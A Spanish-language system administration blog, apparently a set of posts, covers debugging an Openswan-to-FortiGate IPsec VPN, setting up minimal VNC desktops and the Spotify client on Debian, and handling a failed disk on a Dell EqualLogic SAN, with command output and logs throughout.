Ahora eso es del lado de nuestro servidor si queremos algo de debug en el fortigate podemos acceder mediante consola o SSH a estos equipos y ejecutar el modo de diagnostico para este tipo de conexión de la siguiente manera.

FGT5002803033352 # diagnose debug console 
FGT5002803033352 # diagnose debug enable
FGT5002803033352 # diagnose debug application ike -1

Justamente cuando iniciamos la conexión en nuestro servidor aquí empezó a registrar todo el proceso de conexión.

FGT5002803033352 # 0: comes 201.124.89.127:49198->200.xxx.xxx.xxx:500,ifindex=3....                                                                                                               
0: exchange=Identity Protection id=0334eedbdbcc0a40/0000000000000000 len=592                                                                                                                    
0:Openswan_p1_Guerrero: new connection.                                                                                                                                                         
0:Openswan_p1_Guerrero:44: responder: main mode get 1st message...
0:Openswan_p1_Guerrero:44: unknown VID (12): OEfdpoplS^}i
0:Openswan_p1_Guerrero:44: VID DPD
0:Openswan_p1_Guerrero:44: DPD negotiated
0:Openswan_p1_Guerrero:44: VID RFC 3947
0:Openswan_p1_Guerrero:44: VID draft-ietf-ipsec-nat-t-ike-03
0:Openswan_p1_Guerrero:44: VID draft-ietf-ipsec-nat-t-ike-02
 
0:Openswan_p1_Guerrero:44: VID draft-ietf-ipsec-nat-t-ike-02
0:Openswan_p1_Guerrero:44: VID draft-ietf-ipsec-nat-t-ike-00
0:Openswan_p1_Guerrero:44: negotiation result
0:Openswan_p1_Guerrero:44: proposal id = 1:
0:Openswan_p1_Guerrero:44:   protocol id = ISAKMP:
0:Openswan_p1_Guerrero:44:      trans_id = KEY_IKE.
0:Openswan_p1_Guerrero:44:      encapsulation = IKE/none
0:Openswan_p1_Guerrero:44:         type=OAKLEY_ENCRYPT_ALG, val=3DES_CBC.
0:Openswan_p1_Guerrero:44:         type=OAKLEY_HASH_ALG, val=SHA.
0:Openswan_p1_Guerrero:44:         type=AUTH_METHOD, val=PRESHARED_KEY.
0:Openswan_p1_Guerrero:44:         type=OAKLEY_GROUP, val=1536.
0:Openswan_p1_Guerrero:44: ISKAMP SA lifetime=28800
0:Openswan_p1_Guerrero:44: selected NAT-T version: RFC 3947
0:Openswan_p1_Guerrero:44: cookie 0334eedbdbcc0a40/2980a6536ba23616
0:Openswan_p1_Guerrero:44: sent IKE msg (ident_r1send): 200.xxx.xxx.xxx:500->201.124.89.127:49198, len=120
Openswan_p1_Guerrero: Responder: sent 201.124.89.127 main mode message #1 (OK)
0: comes 201.124.89.127:49198->200.xxx.xxx.xxx:500,ifindex=3....
0: exchange=Identity Protection id=0334eedbdbcc0a40/2980a6536ba23616 len=292
0: found Openswan_p1_Guerrero 200.xxx.xxx.xxx 3 -> 201.124.89.127:49198
0:Openswan_p1_Guerrero:44: responder:main mode get 2nd message...
0:Openswan_p1_Guerrero:44: NAT detected: PEER
0:Openswan_p1_Guerrero:44: sent IKE msg (ident_r2send): 200.xxx.xxx.xxx:500->201.124.89.127:49198, len=292
0:Openswan_p1_Guerrero:44: put connection to natt list...ip=201.124.89.127.
Openswan_p1_Guerrero: Responder: sent 201.124.89.127 main mode message #2 (OK)
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3....
0: exchange=Identity Protection id=0334eedbdbcc0a40/2980a6536ba23616 len=68
0:Openswan_p1_Guerrero:44: responder: main mode get 3rd message...
0:Openswan_p1_Guerrero:44: PSK authentication succeeded
0:Openswan_p1_Guerrero:44: authentication OK
0:Openswan_p1_Guerrero: adding new dialup tunnel for 201.124.89.127:49199
0:Openswan_p1_Guerrero_0: added new dialup tunnel for 201.124.89.127:49199
Openswan_p1_Guerrero_0: Responder: parsed 201.124.89.127 main mode message #3 (DONE)
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947
0:Openswan_p1_Guerrero_0:44: sent IKE msg (ident_r3send): 200.xxx.xxx.xxx:4500->201.124.89.127:49199, len=68
Openswan_p1_Guerrero_0: Responder: sent 201.124.89.127 main mode message #3 (DONE)
0:Openswan_p1_Guerrero_0:44: ISAKMP SA established
0:Openswan_p1_Guerrero_0:44: no pending Quick-Mode negotiations
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3....
0: exchange=Quick id=0334eedbdbcc0a40/2980a6536ba23616:e868d30c len=412
0: found Openswan_p1_Guerrero_0 200.xxx.xxx.xxx 3 -> 201.124.89.127:49199
0:Openswan_p1_Guerrero_0:44::852: responder received first quick-mode message
0:Openswan_p1_Guerrero_0:44:852: peer proposal is: peer:192.168.1.0-192.168.1.255, me:172.16.30.0-172.16.30.15, ports=0/0, protocol=0/0
0:Openswan_p1_Guerrero_0:44:852: trying Openswan_p2_Guerrero
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: matched phase2
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: dialup
0:Openswan_p1_Guerrero_0:44: cmpsaprop: natt flags 0x5, pr1 encmode 3, pr2 encmode 1
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: negotiation result
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: proposal id = 0:
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852:   protocol id = IPSEC_ESP:
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852:      trans_id = ESP_3DES
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852:      encapsulation = ENCAPSULATION_MODE_TUNNEL
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852:         type = AUTH_ALG, val=MD5
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: set pfs=1536
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: encapsulation = 1
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: using udp tunnel mode.
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: add RESPONDER-LIFETIME 1800 seconds
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947
0:Openswan_p1_Guerrero_0:44: sent IKE msg (quick_r1send): 200.xxx.xxx.xxx:4500->201.124.89.127:49199, len=388
Openswan_p1_Guerrero_0: Responder: sent 201.124.89.127 quick mode message #1 (OK)
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3....
0: exchange=Quick id=0334eedbdbcc0a40/2980a6536ba23616:e868d30c len=52
0: found Openswan_p1_Guerrero_0 200.xxx.xxx.xxx 3 -> 201.124.89.127:49199
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: set sa life soft seconds=1790.
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: set sa life hard seconds=1800.
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: add SA #src=1 #dst=1
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: src 0 7 0.0.0.0-255.255.255.255
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: dst 0 7 192.168.1.0-192.168.1.255
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: installed SA: SPIs=10c29931/fb540947
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: sending SNMP tunnel UP trap
Openswan_p1_Guerrero_0: Responder: parsed 201.124.89.127 quick mode message #2 (DONE)
0:Openswan_p1_Guerrero_0: link is idle 3 200.xxx.xxx.xxx->201.124.89.127:49199 dpd=2 seqno=1
shrank heap by 122880 bytes
0:Openswan_p1_Guerrero_0: link is idle 3 200.xxx.xxx.xxx->201.124.89.127:49199 dpd=2 seqno=2
0:Openswan_p1_Guerrero_0: send DPD probe, seqno 2
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947

0:Openswan_p1_Guerrero_0:44: sent IKE msg (R-U-THERE): 200.xxx.xxx.xxx:4500->201.124.89.127:49199, len=92
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3….
0: exchange=Informational id=0334eedbdbcc0a40/2980a6536ba23616:23aa5bf4 len=84
0: found Openswan_p1_Guerrero_0 200.xxx.xxx.xxx 3 -> 201.124.89.127:49199
0:Openswan_p1_Guerrero_0:44: notify msg received: R-U-THERE-ACK
0:Openswan_p1_Guerrero_0: link is idle 3 200.xxx.xxx.xxx->201.124.89.127:49199 dpd=2 seqno=3
0:Openswan_p1_Guerrero_0: send DPD probe, seqno 3
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947

0:Openswan_p1_Guerrero_0:44: sent IKE msg (R-U-THERE): 200.xxx.xxx.xxx:4500->201.124.89.127:49199, len=92
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3....
0: exchange=Informational id=0334eedbdbcc0a40/2980a6536ba23616:d2b2b49e len=84
0: found Openswan_p1_Guerrero_0 200.xxx.xxx.xxx 3 -> 201.124.89.127:49199
0:Openswan_p1_Guerrero_0:44: notify msg received: R-U-THERE-ACK
0:Openswan_p1_Guerrero_0: link is idle 3 200.xxx.xxx.xxx->201.124.89.127:49199 dpd=2 seqno=4
0:Openswan_p1_Guerrero_0: send DPD probe, seqno 4
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947

En la interfaz web podemos visualizar el estado de la VPN.

IPsec-FG-500-8

Si queremos detener la VPN bastara lo siguiente.

root@debian-tester:~# ipsec auto --down iturbide
root@debian-tester:~# ipsec auto --delete iturbide

Para iniciar la VPN automáticamente cada vez que el servicio de IPsec se ejecute necesitamos habilitar en nuestro archivo de configuración el siguiente parámetro.

#auto=start

El archivo final de nuestra configuración queda de la siguiente manera:

root@debian-tester:~# cat /etc/ipsec.d/iturbide.conf
conn iturbide
 #left side is home
 left=192.168.1.100
 leftsubnet=192.168.1.0/24
 leftnexthop=192.168.1.254
 #right side is work
 #set right to vpn remote gateway
 right=200.xxx.xxx.xxx
 #set rightsubnet to remote network
 rightsubnet=172.16.30.0/28
 keyexchange=ike
 #auth=esp
 auto=start
 authby=secret
 #specify encryption FortiGate VPN uses
 esp=3des
 #perfect forward secrecy (default yes)
 #pfs=no
 #optionally enable compression
 compress=yes

Referencias para saber más:

Using an Openswan client with FortiGate VPN

http://www.iphouse.com/blog/2012/01/20/debugging-ipsec-vpns-in-fortigate/

http://wildengineer.ilcavolfiore.it/?p=454

http://listarc.com/showthread.php?1179640-Openswan+to+Fortigate+60B+-+VPN

http://www.slashroot.in/linux-ipsec-site-site-vpnvirtual-private-network-configuration-using-openswan

http://www.linuxparatodos.net/portal/staticpages/index.php?page=openswan-diseno-vpn

VNC, twm y XTerm para configuraciones remotas.

En servidores Linux donde en muchos de los casos no tendremos un sistema gráfico instalado como puede ser Gnome o KDE, podemos encontrarnos con la circunstancia de que necesitemos instalar un programa que necesite ejecutar al menos una ventana en un entorno gráfico aunque sea mínimo.

En este caso necesitamos entrar a ciertos servidores algunas veces y poder desplegar un navegador web para manipular modems ADSL y alguna impresora mediante su interfaz web y no tener que hacerlo desde el equipo de un usuario.

Utilizaremos servidores Linux Debian con la mas mínima instalación por que su función solamente es realizar una VPN y unas pocas labores como router.

Así que instalaremos el servicio de VNC y un navegador web mediante pocas instrucciones utilizando el sistema de paquetes de debian. Al decir una instalación básica nos referimos a que solo agregamos el servicio de SSH utilizando el CD de instalación por red (netinst) para debian 7.

Debianita-VNC-1

No instalamos el ambiente de escritorio, sistema de impresión, tampoco las utilidades para laptop ni las herramientas por defecto del sistema.

Debianita-VNC-38

Solo el servicio de SSH.

Debianita-VNC-39

Nos conectamos mediante SSH al servidor para empezar la instalación que consistirá básicamente de cuatro paquetes junto con todas sus dependencias, los cuales son: iceweasel, twm, xterm y vnc4server.
Ejecutamos la actualización de aptitude y tener listo nuestro repositorio.

gabriel@daneel:~$ ssh root@192.168.1.61
root@debian-tester:~# aptitude update

Primero vamos con el navegador web que en Debian de manera predeterminada es iceweasel (Firefox) el cual para instalarse necesitara 61 paquetes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@debian-tester:~# aptitude install iceweasel
The following NEW packages will be installed:
  dbus{a} fontconfig{a} fontconfig-config{a} hicolor-icon-theme{a} hunspell-en-us{a} iceweasel libasound2{a} 
  libatk1.0-0{a} libatk1.0-data{a} libavahi-client3{a} libavahi-common-data{a} libavahi-common3{a} libcairo2{a} 
  libcap2{a} libclass-isa-perl{a} libcups2{a} libdatrie1{a} libdbus-1-3{a} libdbus-glib-1-2{a} libevent-2.0-5{a} 
  libfontconfig1{a} libgdk-pixbuf2.0-0{a} libgdk-pixbuf2.0-common{a} libglib2.0-0{a} libglib2.0-data{a} libgtk2.0-0{a} 
  libgtk2.0-bin{a} libgtk2.0-common{a} libhunspell-1.3-0{a} libjasper1{a} libjbig0 libjpeg8{a} libmozjs17d{a} libnspr4{a} 
  libnss3{a} libpango1.0-0{a} libpcre3{a} libpng12-0{a} libstartup-notification0{a} libswitch-perl{a} 
  libsystemd-login0{a} libthai-data{a} libthai0{a} libtiff4{a} libvpx1{a} libx11-xcb1{a} libxcb-render0{a} libxcb-shm0{a} 
  libxcb-util0{a} libxcursor1{a} libxft2{a} libxi6{a} libxinerama1{a} libxml2{a} perl{a} perl-modules{a} sgml-base{a} 
  shared-mime-info{a} ttf-dejavu-core{a} xml-core{a} xulrunner-17.0{a} 
0 packages upgraded, 61 newly installed, 0 to remove and 0 not upgraded.
Need to get 43.2 MB of archives. After unpacking 150 MB will be used.
Do you want to continue? [Y/n/?] Y

Luego vamos por el pequeño gestor de ventanas twm e iniciamos su instalación.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@debian-tester:~# aptitude install twm
The following NEW packages will be installed:
  twm 
0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 123 kB of archives. After unpacking 389 kB will be used.
Get: 1 http://ftp.us.debian.org/debian/ wheezy/main twm amd64 1:1.0.6-1 [123 kB]
Fetched 123 kB in 0s (162 kB/s)
Selecting previously unselected package twm.
(Reading database ... 35773 files and directories currently installed.)
Unpacking twm (from .../twm_1%3a1.0.6-1_amd64.deb) ...
Processing triggers for menu ...
Processing triggers for man-db ...
Setting up twm (1:1.0.6-1) ...
update-alternatives: using /usr/bin/twm to provide /usr/bin/x-window-manager (x-window-manager) in auto mode
Processing triggers for menu ...

Instalamos Xterm que es un emulador de terminal y necesitara 12 paquetes para instalarse.

1
2
3
4
5
6
7
root@debian-tester:~# aptitude install xterm
The following NEW packages will be installed:
  libgl1-mesa-glx{a} libglapi-mesa{a} libutempter0{a} libxcb-glx0{a} libxcb-shape0{a} libxtst6{a} libxv1{a} 
  libxxf86dga1{a} libxxf86vm1{a} x11-utils{a} xbitmaps{a} xterm 
0 packages upgraded, 12 newly installed, 0 to remove and 0 not upgraded.
Need to get 1,202 kB of archives. After unpacking 3,829 kB will be used.
Do you want to continue? [Y/n/?] Y

Y por ultimo pero no menos importante el servidor VNC con 8 paquetes.

1
2
3
4
5
6
root@debian-tester:~# aptitude install vnc4server
The following NEW packages will be installed:
  libfs6{a} vnc4server x11-apps{a} x11-session-utils{a} x11-xfs-utils{a} x11-xserver-utils{a} xbase-clients{a} xinit{a} 
0 packages upgraded, 8 newly installed, 0 to remove and 0 not upgraded.
Need to get 3,311 kB of archives. After unpacking 8,580 kB will be used.
Do you want to continue? [Y/n/?] Y

Terminada la instalación vamos a conectarnos como un usuario normal ya que no es recomendable entrar mediante VNC con el superusuario root.

1
2
gabriel@daneel:~$ ssh gabriel@192.168.1.61
gabriel@192.168.1.61's password:

Iniciamos la configuración del servidor donde nos solicitara una contraseña, por mas larga que escribamos nuestra contraseña solo tomara los primeros ocho dígitos de ella y creara nuestro escritorio.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gabriel@debian-tester:~$ vnc4server 
 
You will require a password to access your desktops.
 
Password:
Verify:
Password too long - only the first 8 characters will be used
xauth:  file /home/gabriel/.Xauthority does not exist
 
New 'debian-tester:1 (gabriel)' desktop is debian-tester:1
 
Creating default startup script /home/gabriel/.vnc/xstartup
Starting applications specified in /home/gabriel/.vnc/xstartup
Log file is /home/gabriel/.vnc/debian-tester:1.log
 
gabriel@debian-tester:~$

Nos conectaremos mediante la aplicación RealVNC desde un cliente Windows donde especificamos la dirección IP y el numero del escritorio asignado.
VNC-0-Windows

El cliente de VNC nos menciona que estaremos en una conexión sin cifrar y que si bien nuestras credenciales son transmitidas de manera segura la demás información es susceptible a ser interceptada, omitimos esta advertencia y continuamos.

VNC-1-Windows

Ingresamos nuestra contraseña que establecimos anteriormente.

VNC-2-Windows

Tenemos nuestro escritorio listo con un sistema de ventanas mínimo y una consola para iniciar nuestra aplicación.

VNC-3-Windows

Ejecutamos nuestro navegador web y tenemos que especificar mediante el cursor donde lo colocaremos en el sistema de ventanas.

VNC-4-Windows

Ya tenemos nuestro navegador web listo y la comadreja nos da la bienvenida.

VNC-5-Windows

Si el equipo remoto cuenta con salida a Internet podremos navegar en la web como por ejemplo con google.com.mx.

VNC-6-Windows

Spotify en Debian Linux

No tiene mucho tiempo que esta disponible Spotify en México, me parece un buen servicio de música y si podemos soportar los anuncios comerciales una cuenta gratis es mas que suficiente. Y una buena noticia es que hay una beta para Linux y me evito estar ejecutándolo en una maquina virtual.

En esta dirección podemos encontrar las instrucciones para la instalación en Linux: https://www.spotify.com/mx/download/previews/ como se ve en la siguiente imagen:

MusicSP2

Primero necesitamos agregar la siguiente linea en la configuración de los repositorios de debian.

deb http://repository.spotify.com stable non-free
root@giskard:/home/gabriel# vim /etc/apt/sources.list

Agregamos la llave publica para este repositorio y sus paquetes.

root@giskard:/home/gabriel# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 94558F59                                                                                       
Executing: gpg --ignore-time-conflict --no-options --no-default-keyring --secret-keyring /etc/apt/secring.gpg --trustdb-name /etc/apt/trustdb.gpg --keyring /etc/apt/trusted.gpg --primary-keyring /etc/apt/trusted.gpg --keyserver keyserver.ubuntu.com --recv-keys 94558F59                                                                                           
gpg: requesting key 94558F59 from hkp server keyserver.ubuntu.com                                                                                                                   
gpg: key 94558F59: public key "Spotify Public Repository Signing Key <operations@spotify.com>" imported                                                                             
gpg: Total number processed: 1                                                                                                                                                      
gpg:               imported: 1  (RSA: 1)

Actualizamos.

root@giskard:/home/gabriel# aptitude update

Vamos a ver que paquetes encontramos.

root@giskard:/home/gabriel# aptitude search spotify
p   spotify-client                                                                    - Spotify desktop client                                                                      
p   spotify-client-gnome-support                                                      - Transitional package for spotify-client                                                     
p   spotify-client-qt                                                                 - Transitional package for spotify-client

Iniciamos la instalación del cliente que tiene un tamaño cercano a los 38 MB.

root@giskard:/home/gabriel# aptitude install spotify-client
The following NEW packages will be installed:
  spotify-client 
0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 37.6 MB of archives. After unpacking 91.2 MB will be used.
Get:1 http://repository.spotify.com/ stable/non-free spotify-client amd64 1:0.9.0.133.gd18ed58.259-1 [37.6 MB]
Fetched 37.6 MB in 1min 26s (433 kB/s)                                                                                                                                              
Selecting previously deselected package spotify-client.
(Reading database ... 161662 files and directories currently installed.)
Unpacking spotify-client (from .../spotify-client_1%3a0.9.0.133.gd18ed58.259-1_amd64.deb) ...
Setting up spotify-client (1:0.9.0.133.gd18ed58.259-1) ...
Processing triggers for menu ...
 
root@giskard:/home/gabriel#

Ejecutamos e iniciamos sesión con nuestro usuario.

MusicSP1

Spotify reproduciendo una estación de radio.

MusicSP3

Bastante sencillo, =)

Existió algo llamado OpenSolaris

DSCF4851

Y los enviaban gratis. =)

DSCF4852

EqualLogic listo para entrar en producción.

Estamos entrando a producción con nuestro nuevo sistema de VMware usando un almacenamiento iSCSI.

SAN EqualLogic PS6100

DSCF4148

24 discos de 600 GB, con un servidor Dell R910 utilizando VMware 5.1

DSCF4149

EqualLogic, cuando un disco falla.

Un correo electrónico que incluye el siguiente mensaje de advertencia: Warning health conditions currently exist. Correct these conditions before they affect array operation. Non-fatal RAIDset failure. While the RAID set is degraded, performance and availability might be decreased. There are 1 outstanding health conditions. Correct these conditions before they affect array operation.

No puede ser buena señal, al menos menciona que la condición no es fatal y podemos regresar a dormir tranquilos.

Por la mañana podemos verificar los registros del sistema y comprobamos que el error es un disco dañado, el sistema lo intento reparar y no le fue posible, por lo tanto entro uno de los discos de respaldo para reconstruir el arreglo.

Severity  Date      Time         Member  Message                                                                                                                                                                                                                                                                                                                                                                                                                            
--------  --------  -----------  ------  ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
INFO     9/01/13   09:41:44 PM  EQL3    Reconstruction of RAID LUN 0 completed in 3815 seconds.                                                                                                                                                                                                                                                                                                                                                                            
WARNING  9/01/13   09:41:44 PM  EQL3    Warning health conditions currently exist.   Correct these conditions before they affect array operation.   More spare drives are expected.   There are 1 outstanding health conditions. Correct these conditions before they affect array operation.                                                                                                                                                                              
INFO     9/01/13   09:41:44 PM  EQL3    RAID set has recovered from a failure.                                                                                                                                                                                                                                                                                                                                                                                             
INFO     9/01/13   08:42:26 PM  EQL3    Attempt to remove drive 12 from RAID set was not successful.                                                                                                                                                                                                                                                                                                                                                                       
INFO     9/01/13   08:38:08 PM  EQL3    Reconstruction of RAID LUN 0 initiated.                                                                                                                                                                                                                                                                                                                                                                                            
WARNING  9/01/13   08:38:08 PM  EQL3    Warning health conditions currently exist.   Correct these conditions before they affect array operation.   Non-fatal RAIDset failure. While the RAID set is degraded, performance and availability might be decreased.   More spare drives are expected.   There are 2 outstanding health conditions. Correct these conditions before they affect array operation.                                                                
WARNING  9/01/13   08:38:08 PM  EQL3    Failure: HDD Drive: 12, Model: XXXXXXXXXXX     , Serial Number: XXXXXXXX                                                                                                                                                                                                                                                                                                                                                           
WARNING  9/01/13   08:37:46 PM  EQL3    Preemptive removal of Enclosure/Drive 0/12 has now been approved; proceeding with removal.                                                                                                                                                                                                                                                                                                                                         
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660619 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660616 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660614 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660608 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660603 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660601 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660599 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660597 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660595 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660593 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:46 PM  EQL3    Unable to repair bad disk sector 49660591 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:26 PM  EQL3    Unable to repair bad disk sector 49658995 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:26 PM  EQL3    Unable to repair bad disk sector 49658988 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:26 PM  EQL3    Unable to repair bad disk sector 49658986 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
ERROR    9/01/13   08:37:26 PM  EQL3    Unable to repair bad disk sector 49658982 on disk drive 12 in RAID LUN 0.                                                                                                                                                                                                                                                                                                                                                          
INFO     9/01/13   08:37:26 PM  EQL3    Attempt to remove drive 12 from RAID set was not successful.                                                                                                                                                                                                                                                                                                                                                                       
WARNING  9/01/13   08:37:17 PM  EQL3    Warning health conditions currently exist.   Correct these conditions before they affect array operation.   Non-fatal RAIDset failure. While the RAID set is degraded, performance and availability might be decreased.   There are 1 outstanding health conditions. Correct these conditions before they affect array operation.                                                                                                  
ERROR    9/01/13   08:37:17 PM  EQL3    Disk drive 12 failed in RAID LUN 0.

Si tienes estos equipos en garantía lo mas fácil y recomendable es hablar con el soporte técnico de DELL para que te reemplacen el disco averiado. Es requisito obligatorio ejecutar el comando diag para enviar el reporte a los ingenieros de soporte y puedan revisar los eventos ocurridos.

<Grupo3> diag
 
The diag command will gather configuration data from this array
for support and troubleshooting purposes.  No user information will be
included in this data.
 
Results will be sent to "gabrielxx@xxxxxxxxxxxx.com.mx" through e-mail.
If this is unsuccessful, other options for retrieving the results
will be presented at the end of the procedure.
 
Finally, please remember to include your Dell Technical Support case or incident number
in the subject line of any e-mail that you send to Dell Support.  This will help
ensure that the message is routed correctly.
 
Do you wish to proceed (y/n) [y]: y
 
Starting data collection on Thu Jan 10 14:59:06 CST 2013.
 
Section 1 of 15: .
Finished in 0 seconds
Section 2 of 15: .........0.........0.......
Finished in 12 seconds
Section 3 of 15: ....
Finished in 28 seconds
Section 4 of 15: .........0......
Finished in 12 seconds
Section 5 of 15: .........0.......
Finished in 5 seconds
Section 6 of 15: .........0.........0.
Finished in 7 seconds
Section 7 of 15: .
Finished in 2 seconds
Section 8 of 15: ....
Finished in 1 seconds
Section 9 of 15: .........0.........0.........0.........0.........0.........0
Finished in 4 seconds
Section 10 of 15: ...
Finished in 1 seconds
Section 11 of 15: .........0.........0.........0..
Finished in 34 seconds
Section 12 of 15: ..
Finished in 2 seconds
Section 13 of 15: .
Finished in 4 seconds
Section 14 of 15: .........0.........0.........0.........0.........0.........0.........0.........0.........0.........0.........0.........0.........0.........0.........0.........0.........0.........0.........0....
Finished in 57 seconds
Section 15 of 15: .
Finished in 1 seconds
 
Sending e-mail 1 of 6.
Sending e-mail 2 of 6.
Sending e-mail 3 of 6.
Sending e-mail 4 of 6.
Sending e-mail 5 of 6.
Sending e-mail 6 of 6.
 
You have the option of retrieving the diagnostic data using FTP or SCP.
To use FTP, use the 'mget' command to retrieve all files matching
the specification "Seg_*.dgo".  You must use the "grpadmin" account
and password, and connect to one of the IP addresses from the list below.
 
To use SCP, enter the command: 'scp -r grpadmin@x.x.x.x:. destdir'
where "x.x.x.x" is one of the IP addresses from the list below.
Then, in the destination location, look for files with the name "Seg_*.dgo".
You can delete any other files retrieved by scp.
 
Here are the IP addresses you can use to retrieve files from this member:
   172.XXX.XXX.XXX
   172.XXX.XXX.XXX
   172.XXX.XXX.XXX
   172.XXX.XXX.XXX
   172.XXX.XXX.XXX
 
You also have the option to capture the output by using the "text capture"
feature of your Telnet or terminal emulator program.
 
Do you wish to do this (y/n) [n]: 
Grupo3> logout
Grupo3> Connection closed by foreign host.

En menos de 24 horas tenemos a la gente de soporte técnico en el sitio listos para reemplazar el disco dañado, vemos en los registros del sistema que lo retiran e insertan uno nuevo que sera un disco de respaldo en sustitución del anterior que entro como miembro activo del arreglo.

Severity  Date      Time         Member  Message                                                                                                                                                                                                                                                                                                                                                                                                                            
--------  --------  -----------  ------  ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
INFO     11/01/13  10:07:35 AM  EQL3    Expected number of spare drives now present.                                                                                                                                                                                                                                                                                                                                                                                       
INFO     11/01/13  10:07:35 AM  EQL3    Creating a RAID label for uninitialized drive 12.                                                                                                                                                                                                                                                                                                                                                                                  
INFO     11/01/13  10:07:35 AM  EQL3    Disk 12 is online.                                                                                                                                                                                                                                                                                                                                                                                                                 
INFO     11/01/13  10:07:35 AM  EQL3    Found and verified new drive: enclosure 0, disk 12, Model ST3600057SS     , SN 6SL4NJ2J.                                                                                                                                                                                                                                                                                                                                           
INFO     11/01/13  10:07:13 AM  EQL3    Disk 12 has been inserted.                                                                                                                                                                                                                                                                                                                                                                                                         
WARNING  11/01/13  10:03:33 AM  EQL3    Disk 12 has been removed.

Mientras no se pongan de acuerdo todos los discos el sistema de almacenamiento estará bien.

Debian, EqualLogic y bond de tarjetas.

Recientemente tengo libre un servidor y puedo realizar ciertos experimentos con Debian al conectarlo a una SAN iSCSI Dell EqualLogic haciendo pruebas, por lo cual nos animamos a realizar este pequeño escrito al respecto. El servidor tendrá como sistema operativo Debian Squeeze 6.0.6 usando la versión de 64 bits.

Partimos de una instalación muy simple mediante la imagen llamada business card, una pequeña ISO de poco mas de 50 MB que solo contendrá el sistema básico.

El equipo tiene seis tarjetas de red, usaremos la interfaz eth0 como nuestra interfaz principal de administración y las interfaces eth2 y eth3 se conectaran a la red iSCSI.

root@elmulo:~# lspci | grep net
01:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM5709 Gigabit Ethernet (rev 20)
01:00.1 Ethernet controller: Broadcom Corporation NetXtreme II BCM5709 Gigabit Ethernet (rev 20)
02:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM5709 Gigabit Ethernet (rev 20)
02:00.1 Ethernet controller: Broadcom Corporation NetXtreme II BCM5709 Gigabit Ethernet (rev 20)
